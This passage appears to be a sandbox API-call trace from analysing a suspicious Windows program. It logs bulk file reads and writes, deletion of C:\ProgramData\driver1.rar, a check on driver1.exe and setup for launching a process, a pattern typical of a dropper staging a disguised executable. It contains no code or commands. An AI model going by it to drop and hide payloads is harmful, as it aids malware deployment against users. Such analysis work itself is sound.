lpNumberOfBytesRead=0xc00067b5bc*=0x1000, lpOverlapped=0x0) returned 1 [0284.732] ReadFile (in: hFile=0x1ec, lpBuffer=0xc0004c2000, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xc00067b5bc, lpOverlapped=0x0 | out: lpBuffer=0xc0004c2000*, lpNumberOfBytesRead=0xc00067b5bc*=0x1000, lpOverlapped=0x0) returned 1 [0284.732] ReadFile (in: hFile=0x1ec, lpBuffer=0xc0004c2000, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xc00067b5bc, lpOverlapped=0x0 | out: lpBuffer=0xc0004c2000*, lpNumberOfBytesRead=0xc00067b5bc*=0x1000, lpOverlapped=0x0) returned 1 [0284.732] ReadFile (in: hFile=0x1ec, lpBuffer=0xc0004c2000, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xc00067b5bc, lpOverlapped=0x0 | out: lpBuffer=0xc0004c2000*, lpNumberOfBytesRead=0xc00067b5bc*=0x1000, lpOverlapped=0x0) returned 1 [0284.732] ReadFile (in: hFile=0x1ec, lpBuffer=0xc0004c2000, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xc00067b5bc, lpOverlapped=0x0 | out: lpBuffer=0xc0004c2000*, lpNumberOfBytesRead=0xc00067b5bc*=0x1000, lpOverlapped=0x0) returned 1 [0284.733] ReadFile (in: hFile=0x1ec, lpBuffer=0xc0004c2000, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xc00067b5bc, lpOverlapped=0x0 | out: lpBuffer=0xc0004c2000*, lpNumberOfBytesRead=0xc00067b5bc*=0x1000, lpOverlapped=0x0) returned 1 [0284.733] ReadFile (in: hFile=0x1ec, lpBuffer=0xc0004c2000, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xc00067b5bc, lpOverlapped=0x0 | out: lpBuffer=0xc0004c2000*, lpNumberOfBytesRead=0xc00067b5bc*=0x1000, lpOverlapped=0x0) returned 1 [0284.733] ReadFile (in: hFile=0x1ec, lpBuffer=0xc0004c2000, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xc00067b5bc, lpOverlapped=0x0 | out: lpBuffer=0xc0004c2000*, lpNumberOfBytesRead=0xc00067b5bc*=0x1000, lpOverlapped=0x0) returned 1 [0284.733] ReadFile (in: hFile=0x1ec, lpBuffer=0xc0004c2000, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xc00067b5bc, lpOverlapped=0x0 | out: lpBuffer=0xc0004c2000*, lpNumberOfBytesRead=0xc00067b5bc*=0x1000, lpOverlapped=0x0) returned 1 [0284.734] ReadFile (in: hFile=0x1ec, lpBuffer=0xc0004c2000, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xc00067b5bc, lpOverlapped=0x0 | out: lpBuffer=0xc0004c2000*, lpNumberOfBytesRead=0xc00067b5bc*=0x1000, lpOverlapped=0x0) returned 1 [0284.734] ReadFile (in: hFile=0x1ec, lpBuffer=0xc0004c2000, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xc00067b5bc, lpOverlapped=0x0 | out: lpBuffer=0xc0004c2000*, lpNumberOfBytesRead=0xc00067b5bc*=0x1000, lpOverlapped=0x0) returned 1 [0284.734] ReadFile (in: hFile=0x1ec, lpBuffer=0xc0004c2000, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xc00067b5bc, lpOverlapped=0x0 | out: lpBuffer=0xc0004c2000*, lpNumberOfBytesRead=0xc00067b5bc*=0x1000, lpOverlapped=0x0) returned 1 [0284.734] ReadFile (in: hFile=0x1ec, lpBuffer=0xc0004c2000, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xc00067b5bc, lpOverlapped=0x0 | out: lpBuffer=0xc0004c2000*, lpNumberOfBytesRead=0xc00067b5bc*=0x1000, lpOverlapped=0x0) returned 1 [0284.735] ReadFile (in: hFile=0x1ec, lpBuffer=0xc0004c2000, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xc00067b5bc, lpOverlapped=0x0 | out: lpBuffer=0xc0004c2000*, lpNumberOfBytesRead=0xc00067b5bc*=0x1000, lpOverlapped=0x0) returned 1 [0284.735] ReadFile (in: hFile=0x1ec, lpBuffer=0xc0004c2000, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xc00067b5bc, lpOverlapped=0x0 | out: lpBuffer=0xc0004c2000*, lpNumberOfBytesRead=0xc00067b5bc*=0x1000, lpOverlapped=0x0) returned 1 [0284.745] ReadFile (in: hFile=0x1ec, lpBuffer=0xc0004c2000, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xc00067b5bc, lpOverlapped=0x0 | out: lpBuffer=0xc0004c2000*, lpNumberOfBytesRead=0xc00067b5bc*=0x1000, lpOverlapped=0x0) returned 1 [0284.746] ReadFile (in: hFile=0x1ec, lpBuffer=0xc0004c2000, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xc00067b5bc, lpOverlapped=0x0 | out: lpBuffer=0xc0004c2000*, lpNumberOfBytesRead=0xc00067b5bc*=0x1000, lpOverlapped=0x0) returned 1 [0284.746] ReadFile (in: hFile=0x1ec, lpBuffer=0xc0004c2000, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xc00067b5bc, lpOverlapped=0x0 | out: lpBuffer=0xc0004c2000*, lpNumberOfBytesRead=0xc00067b5bc*=0x1000, lpOverlapped=0x0) returned 1 [0284.747] ReadFile (in: hFile=0x1ec, lpBuffer=0xc0004c2000, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xc00067b5bc, lpOverlapped=0x0 | out: lpBuffer=0xc0004c2000*, lpNumberOfBytesRead=0xc00067b5bc*=0x1000, lpOverlapped=0x0) returned 1 [0284.747] ReadFile (in: hFile=0x1ec, lpBuffer=0xc0004c2000, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xc00067b5bc, lpOverlapped=0x0 | out: lpBuffer=0xc0004c2000*, lpNumberOfBytesRead=0xc00067b5bc*=0x1000, lpOverlapped=0x0) returned 1 [0284.747] ReadFile (in: hFile=0x1ec, lpBuffer=0xc0004c2000, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xc00067b5bc, lpOverlapped=0x0 | out: lpBuffer=0xc0004c2000*, lpNumberOfBytesRead=0xc00067b5bc*=0x1000, lpOverlapped=0x0) returned 1 [0284.747] ReadFile (in: hFile=0x1ec, lpBuffer=0xc0004c2000, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xc00067b5bc, lpOverlapped=0x0 | out: lpBuffer=0xc0004c2000*, lpNumberOfBytesRead=0xc00067b5bc*=0x1000, lpOverlapped=0x0) returned 1 [0284.748] ReadFile (in: hFile=0x1ec, lpBuffer=0xc0004c2000, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xc00067b574, lpOverlapped=0x0 | out: lpBuffer=0xc0004c2000*, lpNumberOfBytesRead=0xc00067b574*=0x1000, lpOverlapped=0x0) returned 1 [0284.748] ReadFile (in: hFile=0x1ec, lpBuffer=0xc0004c2000, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xc00067b5bc, lpOverlapped=0x0 | out: lpBuffer=0xc0004c2000*, lpNumberOfBytesRead=0xc00067b5bc*=0x1000, lpOverlapped=0x0) returned 1 [0284.749] ReadFile (in: hFile=0x1ec, lpBuffer=0xc0004c2000, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xc00067b5bc, lpOverlapped=0x0 | out: lpBuffer=0xc0004c2000*, lpNumberOfBytesRead=0xc00067b5bc*=0x1000, lpOverlapped=0x0) returned 1 [0284.750] ReadFile (in: hFile=0x1ec, lpBuffer=0xc0004c2000, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xc00067b574, lpOverlapped=0x0 | out: lpBuffer=0xc0004c2000*, lpNumberOfBytesRead=0xc00067b574*=0x1000, lpOverlapped=0x0) returned 1 [0284.750] ReadFile (in: hFile=0x1ec, lpBuffer=0xc0004c2000, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xc00067b574, lpOverlapped=0x0 | out: lpBuffer=0xc0004c2000*, lpNumberOfBytesRead=0xc00067b574*=0x1000, lpOverlapped=0x0) returned 1 [0284.752] ReadFile (in: hFile=0x1ec, lpBuffer=0xc0004c2000, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xc00067b574, lpOverlapped=0x0 | out: lpBuffer=0xc0004c2000*, lpNumberOfBytesRead=0xc00067b574*=0x1000, lpOverlapped=0x0) returned 1 [0284.753] ReadFile (in: hFile=0x1ec, lpBuffer=0xc0004c2000, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xc00067b574, lpOverlapped=0x0 | out: lpBuffer=0xc0004c2000*, lpNumberOfBytesRead=0xc00067b574*=0x1000, lpOverlapped=0x0) returned 1 [0284.753] ReadFile (in: hFile=0x1ec, lpBuffer=0xc0004c2000, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xc00067b574, lpOverlapped=0x0 | out: lpBuffer=0xc0004c2000*, lpNumberOfBytesRead=0xc00067b574*=0x1000, lpOverlapped=0x0) returned 1 [0284.754] ReadFile (in: hFile=0x1ec, lpBuffer=0xc0004c2000, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xc00067b574, lpOverlapped=0x0 | out: lpBuffer=0xc0004c2000*, lpNumberOfBytesRead=0xc00067b574*=0x1000, lpOverlapped=0x0) returned 1 [0284.754] ReadFile (in: hFile=0x1ec, lpBuffer=0xc0004c2000, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xc00067b574, lpOverlapped=0x0 | out: lpBuffer=0xc0004c2000*, lpNumberOfBytesRead=0xc00067b574*=0x1000, lpOverlapped=0x0) returned 1 [0284.755] ReadFile (in: hFile=0x1ec, lpBuffer=0xc0004c2000, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xc00067b574, lpOverlapped=0x0 | out: lpBuffer=0xc0004c2000*, lpNumberOfBytesRead=0xc00067b574*=0x1000, lpOverlapped=0x0) returned 1 [0284.756] ReadFile (in: hFile=0x1ec, lpBuffer=0xc0004c2000, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xc00067b574, lpOverlapped=0x0 | out: lpBuffer=0xc0004c2000*, lpNumberOfBytesRead=0xc00067b574*=0x1000, lpOverlapped=0x0) returned 1 [0284.757] ReadFile (in: hFile=0x1ec, lpBuffer=0xc0004c2000, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xc00067b5bc, lpOverlapped=0x0 | out: lpBuffer=0xc0004c2000*, lpNumberOfBytesRead=0xc00067b5bc*=0x1000, lpOverlapped=0x0) returned 1 [0284.757] ReadFile (in: hFile=0x1ec, lpBuffer=0xc0004c2000, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xc00067b574, lpOverlapped=0x0 | out: lpBuffer=0xc0004c2000*, lpNumberOfBytesRead=0xc00067b574*=0x1000, lpOverlapped=0x0) returned 1 [0284.758] ReadFile (in: hFile=0x1ec, lpBuffer=0xc0004c2000, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xc00067b574, lpOverlapped=0x0 | out: lpBuffer=0xc0004c2000*, lpNumberOfBytesRead=0xc00067b574*=0x1000, lpOverlapped=0x0) returned 1 [0284.758] ReadFile (in: hFile=0x1ec, lpBuffer=0xc0004c2000, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xc00067b574, lpOverlapped=0x0 | out: lpBuffer=0xc0004c2000*, lpNumberOfBytesRead=0xc00067b574*=0x1000, lpOverlapped=0x0) returned 1 [0284.759] ReadFile (in: hFile=0x1ec, lpBuffer=0xc0004c2000, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xc00067b574, lpOverlapped=0x0 | out: lpBuffer=0xc0004c2000*, lpNumberOfBytesRead=0xc00067b574*=0x1000, lpOverlapped=0x0) returned 1 [0284.759] ReadFile (in: hFile=0x1ec, lpBuffer=0xc0004c2000, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xc00067b5bc, lpOverlapped=0x0 | out: lpBuffer=0xc0004c2000*, lpNumberOfBytesRead=0xc00067b5bc*=0x1000, lpOverlapped=0x0) returned 1 [0284.759] ReadFile (in: hFile=0x1ec, lpBuffer=0xc0004c2000, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xc00067b5bc, lpOverlapped=0x0 | out: lpBuffer=0xc0004c2000*, lpNumberOfBytesRead=0xc00067b5bc*=0x1000, lpOverlapped=0x0) returned 1 [0284.760] ReadFile (in: hFile=0x1ec, lpBuffer=0xc0004c2000, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xc00067b574, lpOverlapped=0x0 | out: lpBuffer=0xc0004c2000*, lpNumberOfBytesRead=0xc00067b574*=0x1000, lpOverlapped=0x0) returned 1 [0284.760] ReadFile (in: hFile=0x1ec, lpBuffer=0xc0004c2000, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xc00067b574, lpOverlapped=0x0 | out: lpBuffer=0xc0004c2000*, lpNumberOfBytesRead=0xc00067b574*=0x1000, lpOverlapped=0x0) returned 1 [0284.761] ReadFile (in: hFile=0x1ec, lpBuffer=0xc0004c2000, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xc00067b574, lpOverlapped=0x0 | out: lpBuffer=0xc0004c2000*, lpNumberOfBytesRead=0xc00067b574*=0x1000, lpOverlapped=0x0) returned 1 [0284.762] ReadFile (in: hFile=0x1ec, lpBuffer=0xc0004c2000, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xc00067b5bc, lpOverlapped=0x0 | out: lpBuffer=0xc0004c2000*, lpNumberOfBytesRead=0xc00067b5bc*=0x1000, lpOverlapped=0x0) returned 1 [0284.762] ReadFile (in: hFile=0x1ec, lpBuffer=0xc0004c2000, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xc00067b574, lpOverlapped=0x0 | out: lpBuffer=0xc0004c2000*, lpNumberOfBytesRead=0xc00067b574*=0x1000, lpOverlapped=0x0) returned 1 [0284.763] ReadFile (in: hFile=0x1ec, lpBuffer=0xc0004c2000, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xc00067b574, lpOverlapped=0x0 | out: lpBuffer=0xc0004c2000*, lpNumberOfBytesRead=0xc00067b574*=0x1000, lpOverlapped=0x0) returned 1 [0284.764] ReadFile (in: hFile=0x1ec, lpBuffer=0xc0004c2000, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xc00067b574, lpOverlapped=0x0 | out: lpBuffer=0xc0004c2000*, lpNumberOfBytesRead=0xc00067b574*=0x1000, lpOverlapped=0x0) returned 1 [0284.764] ReadFile (in: hFile=0x1ec, lpBuffer=0xc0004c2000, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xc00067b574, lpOverlapped=0x0 | out: lpBuffer=0xc0004c2000*, lpNumberOfBytesRead=0xc00067b574*=0x1000, lpOverlapped=0x0) returned 1 [0284.765] ReadFile (in: hFile=0x1ec, lpBuffer=0xc0004c2000, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xc00067b574, lpOverlapped=0x0 | out: lpBuffer=0xc0004c2000*, lpNumberOfBytesRead=0xc00067b574*=0x1000, lpOverlapped=0x0) returned 1 [0284.765] ReadFile (in: hFile=0x1ec, lpBuffer=0xc0004c2000, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xc00067b5bc, lpOverlapped=0x0 | out: lpBuffer=0xc0004c2000*, lpNumberOfBytesRead=0xc00067b5bc*=0x1000, lpOverlapped=0x0) returned 1 [0284.766] ReadFile (in: hFile=0x1ec, lpBuffer=0xc0004c2000, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xc00067b5bc, lpOverlapped=0x0 | out: lpBuffer=0xc0004c2000*, lpNumberOfBytesRead=0xc00067b5bc*=0x1000, lpOverlapped=0x0) returned 1 [0284.767] ReadFile (in: hFile=0x1ec, lpBuffer=0xc0004c2000, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xc00067b5bc, lpOverlapped=0x0 | out: lpBuffer=0xc0004c2000*, lpNumberOfBytesRead=0xc00067b5bc*=0x1000, lpOverlapped=0x0) returned 1 [0284.768] ReadFile (in: hFile=0x1ec, lpBuffer=0xc0004c2000, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xc00067b5bc, lpOverlapped=0x0 | out: lpBuffer=0xc0004c2000*, lpNumberOfBytesRead=0xc00067b5bc*=0xf5e, lpOverlapped=0x0) returned 1 [0284.769] WriteFile (in: hFile=0x1a0, lpBuffer=0xc00067c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc00067ba94, lpOverlapped=0x0 | out: lpBuffer=0xc00067c000*, lpNumberOfBytesWritten=0xc00067ba94*=0x8000, lpOverlapped=0x0) returned 1 [0284.771] WriteFile (in: hFile=0x1a0, lpBuffer=0xc00067c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc00067ba94, lpOverlapped=0x0 | out: lpBuffer=0xc00067c000*, lpNumberOfBytesWritten=0xc00067ba94*=0x8000, lpOverlapped=0x0) returned 1 [0284.771] WriteFile (in: hFile=0x1a0, lpBuffer=0xc00067c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc00067ba94, lpOverlapped=0x0 | out: lpBuffer=0xc00067c000*, lpNumberOfBytesWritten=0xc00067ba94*=0x8000, lpOverlapped=0x0) returned 1 [0284.772] WriteFile (in: hFile=0x1a0, lpBuffer=0xc00067c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc00067ba94, lpOverlapped=0x0 | out: lpBuffer=0xc00067c000*, lpNumberOfBytesWritten=0xc00067ba94*=0x8000, lpOverlapped=0x0) returned 1 [0284.773] WriteFile (in: hFile=0x1a0, lpBuffer=0xc00067c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc00067ba94, lpOverlapped=0x0 | out: lpBuffer=0xc00067c000*, lpNumberOfBytesWritten=0xc00067ba94*=0x8000, lpOverlapped=0x0) returned 1 [0284.773] WriteFile (in: hFile=0x1a0, lpBuffer=0xc00067c000*, nNumberOfBytesToWrite=0x5900, lpNumberOfBytesWritten=0xc00067ba94, lpOverlapped=0x0 | out: lpBuffer=0xc00067c000*, lpNumberOfBytesWritten=0xc00067ba94*=0x5900, lpOverlapped=0x0) returned 1 [0284.774] WriteFile (in: hFile=0x1a0, lpBuffer=0xc00067c000*, nNumberOfBytesToWrite=0xd00, lpNumberOfBytesWritten=0xc00067ba94, lpOverlapped=0x0 | out: lpBuffer=0xc00067c000*, lpNumberOfBytesWritten=0xc00067ba94*=0xd00, lpOverlapped=0x0) returned 1 [0284.774] WriteFile (in: hFile=0x1a0, lpBuffer=0xc00067c000*, nNumberOfBytesToWrite=0x600, lpNumberOfBytesWritten=0xc00067ba94, lpOverlapped=0x0 | out: lpBuffer=0xc00067c000*, lpNumberOfBytesWritten=0xc00067ba94*=0x600, lpOverlapped=0x0) returned 1 [0284.774] WriteFile (in: hFile=0x1a0, lpBuffer=0xc00067c000*, nNumberOfBytesToWrite=0x600, lpNumberOfBytesWritten=0xc00067ba94, lpOverlapped=0x0 | out: lpBuffer=0xc00067c000*, lpNumberOfBytesWritten=0xc00067ba94*=0x600, lpOverlapped=0x0) returned 1 [0284.774] WriteFile (in: hFile=0x1a0, lpBuffer=0xc00067c000*, nNumberOfBytesToWrite=0xe00, lpNumberOfBytesWritten=0xc00067ba94, lpOverlapped=0x0 | out: lpBuffer=0xc00067c000*, lpNumberOfBytesWritten=0xc00067ba94*=0xe00, lpOverlapped=0x0) returned 1 [0284.775] WriteFile (in: hFile=0x1a0, lpBuffer=0xc00067c000*, nNumberOfBytesToWrite=0x5000, lpNumberOfBytesWritten=0xc00067ba94, lpOverlapped=0x0 | out: lpBuffer=0xc00067c000*, lpNumberOfBytesWritten=0xc00067ba94*=0x5000, lpOverlapped=0x0) returned 1 [0284.775] WriteFile (in: hFile=0x1a0, lpBuffer=0xc00067c000*, nNumberOfBytesToWrite=0x1700, lpNumberOfBytesWritten=0xc00067ba94, lpOverlapped=0x0 | out: lpBuffer=0xc00067c000*, lpNumberOfBytesWritten=0xc00067ba94*=0x1700, lpOverlapped=0x0) returned 1 [0284.775] WriteFile (in: hFile=0x1a0, lpBuffer=0xc00067c000*, nNumberOfBytesToWrite=0x1100, lpNumberOfBytesWritten=0xc00067ba94, lpOverlapped=0x0 | out: lpBuffer=0xc00067c000*, lpNumberOfBytesWritten=0xc00067ba94*=0x1100, lpOverlapped=0x0) returned 1 [0284.776] WriteFile (in: hFile=0x1a0, lpBuffer=0xc00067c000*, nNumberOfBytesToWrite=0x300, lpNumberOfBytesWritten=0xc00067ba94, lpOverlapped=0x0 | out: lpBuffer=0xc00067c000*, lpNumberOfBytesWritten=0xc00067ba94*=0x300, lpOverlapped=0x0) returned 1 [0284.776] WriteFile (in: hFile=0x1a0, lpBuffer=0xc00067c000*, nNumberOfBytesToWrite=0xc00, lpNumberOfBytesWritten=0xc00067ba94, lpOverlapped=0x0 | out: lpBuffer=0xc00067c000*, lpNumberOfBytesWritten=0xc00067ba94*=0xc00, lpOverlapped=0x0) returned 1 [0284.776] WriteFile (in: hFile=0x1a0, lpBuffer=0xc00067c000*, nNumberOfBytesToWrite=0x1c00, lpNumberOfBytesWritten=0xc00067ba94, lpOverlapped=0x0 | out: lpBuffer=0xc00067c000*, lpNumberOfBytesWritten=0xc00067ba94*=0x1c00, lpOverlapped=0x0) returned 1 [0284.776] WriteFile (in: hFile=0x1a0, lpBuffer=0xc00067c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc00067ba94, lpOverlapped=0x0 | out: lpBuffer=0xc00067c000*, lpNumberOfBytesWritten=0xc00067ba94*=0x8000, lpOverlapped=0x0) returned 1 [0284.778] WriteFile (in: hFile=0x1a0, lpBuffer=0xc00067c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc00067ba94, lpOverlapped=0x0 | out: lpBuffer=0xc00067c000*, lpNumberOfBytesWritten=0xc00067ba94*=0x8000, lpOverlapped=0x0) returned 1 [0284.778] WriteFile (in: hFile=0x1a0, lpBuffer=0xc00067c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc00067ba94, lpOverlapped=0x0 | out: lpBuffer=0xc00067c000*, lpNumberOfBytesWritten=0xc00067ba94*=0x8000, lpOverlapped=0x0) returned 1 [0284.779] WriteFile (in: hFile=0x1a0, lpBuffer=0xc00067c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc00067ba94, lpOverlapped=0x0 | out: lpBuffer=0xc00067c000*, lpNumberOfBytesWritten=0xc00067ba94*=0x8000, lpOverlapped=0x0) returned 1 [0284.780] WriteFile (in: hFile=0x1a0, lpBuffer=0xc00067c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc00067ba94, lpOverlapped=0x0 | out: lpBuffer=0xc00067c000*, lpNumberOfBytesWritten=0xc00067ba94*=0x8000, lpOverlapped=0x0) returned 1 [0284.780] WriteFile (in: hFile=0x1a0, lpBuffer=0xc00067c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc00067ba94, lpOverlapped=0x0 | out: lpBuffer=0xc00067c000*, lpNumberOfBytesWritten=0xc00067ba94*=0x8000, lpOverlapped=0x0) returned 1 [0284.781] WriteFile (in: hFile=0x1a0, lpBuffer=0xc00067c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc00067ba94, lpOverlapped=0x0 | out: lpBuffer=0xc00067c000*, lpNumberOfBytesWritten=0xc00067ba94*=0x8000, lpOverlapped=0x0) returned 1 [0284.781] WriteFile (in: hFile=0x1a0, lpBuffer=0xc00067c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc00067ba94, lpOverlapped=0x0 | out: lpBuffer=0xc00067c000*, lpNumberOfBytesWritten=0xc00067ba94*=0x8000, lpOverlapped=0x0) returned 1 [0284.782] WriteFile (in: hFile=0x1a0, lpBuffer=0xc00067c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc00067ba94, lpOverlapped=0x0 | out: lpBuffer=0xc00067c000*, lpNumberOfBytesWritten=0xc00067ba94*=0x8000, lpOverlapped=0x0) returned 1 [0284.785] WriteFile (in: hFile=0x1a0, lpBuffer=0xc00067c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc00067ba94, lpOverlapped=0x0 | out: lpBuffer=0xc00067c000*, lpNumberOfBytesWritten=0xc00067ba94*=0x8000, lpOverlapped=0x0) returned 1 [0284.785] WriteFile (in: hFile=0x1a0, lpBuffer=0xc00067c000*, nNumberOfBytesToWrite=0x1700, lpNumberOfBytesWritten=0xc00067ba94, lpOverlapped=0x0 | out: lpBuffer=0xc00067c000*, lpNumberOfBytesWritten=0xc00067ba94*=0x1700, lpOverlapped=0x0) returned 1 [0284.786] CloseHandle (hObject=0x1a0) returned 1 [0284.800] CloseHandle (hObject=0x1ec) returned 1 [0284.800] GetProcAddress (hModule=0x7fffcb440000, lpProcName="DeleteFileW") returned 0x7fffcb464b30 [0284.801] DeleteFileW (lpFileName="C:\\ProgramData\\driver1.rar" (normalized: "c:\\programdata\\driver1.rar")) returned 1 [0284.805] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0xc000972618*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0xc00067b708, lpReserved=0x0 | out: lpBuffer=0xc000972618*, lpNumberOfCharsWritten=0xc00067b708*=0x2) returned 1 [0284.816] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0xc0004fa000, nSize=0x64 | out: lpBuffer="") returned 0x35 [0284.816] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\driver1.exe" (normalized: "c:\\programdata\\driver1.exe"), fInfoLevelId=0x0, lpFileInformation=0xc00067b680 | out: lpFileInformation=0xc00067b680*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x63cad379, ftCreationTime.dwHighDateTime=0x1dac836, ftLastAccessTime.dwLowDateTime=0x63d45cc5, ftLastAccessTime.dwHighDateTime=0x1dac836, ftLastWriteTime.dwLowDateTime=0x63d45cc5, ftLastWriteTime.dwHighDateTime=0x1dac836, nFileSizeHigh=0x0, nFileSizeLow=0x8ba00)) returned 1 [0284.817] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000001, hTemplateFile=0x0) returned 0x31c [0284.817] GetConsoleMode (in: hConsoleHandle=0x31c, lpMode=0xc00067babc | out: lpMode=0xc00067babc) returned 0 [0284.817] GetFileType (hFile=0x31c) returned 0x2 [0284.817] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x1dc [0284.817] GetConsoleMode (in: hConsoleHandle=0x1dc, lpMode=0xc00067babc | out: lpMode=0xc00067babc) returned 0 [0284.817] GetFileType (hFile=0x1dc) returned 0x2 [0284.817] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x360 [0284.817] GetConsoleMode (in: hConsoleHandle=0x360, lpMode=0xc00067ba84 | out: lpMode=0xc00067ba84) returned 0 [0284.817] GetFileType (hFile=0x360) returned 0x2 [0284.817] GetEnvironmentStringsW () returned 0x15bae0* [0284.817] FreeEnvironmentStringsW (penv=0x15bae0) returned 1 [0284.817] RtlGetNtVersionNumbers () returned 0xf0004a61 [0284.817] GetCurrentProcess () returned 0xffffffffffffffff [0284.818] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x31c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xc00086c930, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0xc00086c930*=0x358) returned 1 [0284.818] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x1dc, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xc00086c938, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0xc00086c938*=0x368) returned 1 [0284.818] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x360, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xc00086c940, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0xc00086c940*=0x364) returned 1 [0284.818] InitializeProcThreadAttributeList (in: lpAttributeList=0x0, dwAttributeCount=0x2, dwFlags=0x0, lpSize=0xc00067b860 | out: lpAttributeList=0x0, lpSize=0xc00067b860) returned 0 [0284.818] InitializeProcThreadAttributeList (in: lpAttributeList=0xc0002820f0, dwAttributeCount=0x2, dwFlags=0x0, lpSize=0xc00067b860 | out: lpAttributeList=0xc0002820f0, lpSize=0xc00067b860) returned 1 [0284.818] UpdateProcThreadAttribute (in: lpAttributeList=0xc0002820f0, dwFlags=0x0, Attribute=0x20002, lpValue=0xc00086c930, cbSize=0x18, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0xc0002820f0, 